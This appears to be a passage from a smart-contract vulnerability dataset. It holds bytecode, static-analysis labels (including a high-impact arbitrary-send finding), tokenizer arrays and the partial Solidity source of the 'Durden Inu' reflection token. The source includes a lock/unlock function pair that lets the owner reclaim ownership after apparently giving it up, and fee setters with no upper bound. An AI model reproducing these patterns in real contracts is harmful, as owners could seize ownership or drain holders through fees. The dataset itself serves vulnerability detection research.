98578182fd5b823567ffffffffffffffff80821115611baf578384fd5b818501915085601f830112611bc2578384fd5b813581811115611bd0578485fd5b866020828501011115611be1578485fd5b60209290920196919550909350505050565b600060208284031215611c04578081fd5b5051919050565b60007f416363657373436f6e74726f6c3a206163636f756e742000000000000000000082528351611c438160178501602088016120ab565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351611c808160288401602088016120ab565b01602801949350505050565b918252602082015260400190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015611d2c5783516001600160a01b031683529284019291840191600101611d07565b50909695505050505050565b901515815260200190565b90815260200190565b6000602082528251806020840152611d6b8160408501602087016120ab565b601f01601f19169190910160400192915050565b6020808252818101527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604082015260600190565b6020808252603d908201527f50726f746f636f6c436f6e74726f6c3a204f6e6c792070726f746f636f6c206160408201527f646d696e732063616e2063616c6c20746869732066756e6374696f6e2e000000606082015260800190565b60208082526024908201527f6661696c656420746f2077697468647261772066756e647320746f20726567696040820152637374727960e01b606082015260800190565b60208082526026908201527f6661696c656420746f207472616e73666572207061796d656e7420746f20726560408201526567697374727960d01b606082015260800190565b60208082526036908201527f50726f746f636f6c436f6e74726f6c3a2061206d6f64756c652077697468207460408201527f68697320494420646f6573206e6f742065786973742e00000000000000000000606082015260800190565b6020808252601a908201527f6661696c656420746f207472616e73666572207061796d656e74000000000000604082015260600190565b60208082526029908201527f50726f746f636f6c436f6e74726f6c3a2070726f76696465722073686172657360408201527f20746f6f206c6f772e0000000000000000000000000000000000000000000000606082015260800190565b60208082526018908201527f6661696c656420746f2077697468647261772066756e64730000000000000000604082015260600190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201527f20726f6c657320666f722073656c660000000000000000000000000000000000606082015260800190565b6fffffffffffffffffffffffffffffffff91909116815260200190565b600082198211156120505761205061212d565b500190565b60008261207057634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561208f5761208f61212d565b500290565b6000828210156120a6576120a661212d565b500390565b60005b838110156120c65781810151838201526020016120ae565b838111156120d5576000848401525b50505050565b6000816120ea576120ea61212d565b506000190190565b60028104600182168061210657607f821691505b6020821081141561212757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461215857600080fd5b5056fea164736f6c6343000800000aa164736f6c6343000800000a | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2683,
2546,
2620,
2050,
28311,
2683,
21486,
2497,
27531,
26976,
2581,
19481,
2692,
27421,
12376,
22275,
2620,
8586,
2692,
11329,
23777,
2581,
2546,
2620,
2278,
2683,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
3443,
2475,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
3229,
8663,
13181,
2140,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
12696,
13181,
17920,
24759,
6977,
2121,
1012,
14017,
1000,
1025,
12324,
1063,
15584,
1065,
2013,
1000,
1012,
1013,
15584,
1012,
14017,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,570 | 0x955a5831086b0fa2f368e329232e01c9a27c41bb | pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DurdenInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Durden Inu";
string private _symbol = "Durden";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _marketingFee = 6; // All taxes are divided by 100 for more accuracy.
uint256 private _previousMarketingFee = _marketingFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 500000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address marketingWallet) public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_marketingWallet = payable(marketingWallet);
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMarketingFeePercent(uint256 marketingFee) external onlyOwner() {
_marketingFee = marketingFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setMarketingWallet(address payable newWallet) external onlyOwner {
require(_marketingWallet != newWallet, "Wallet already set!");
_marketingWallet = payable(newWallet);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
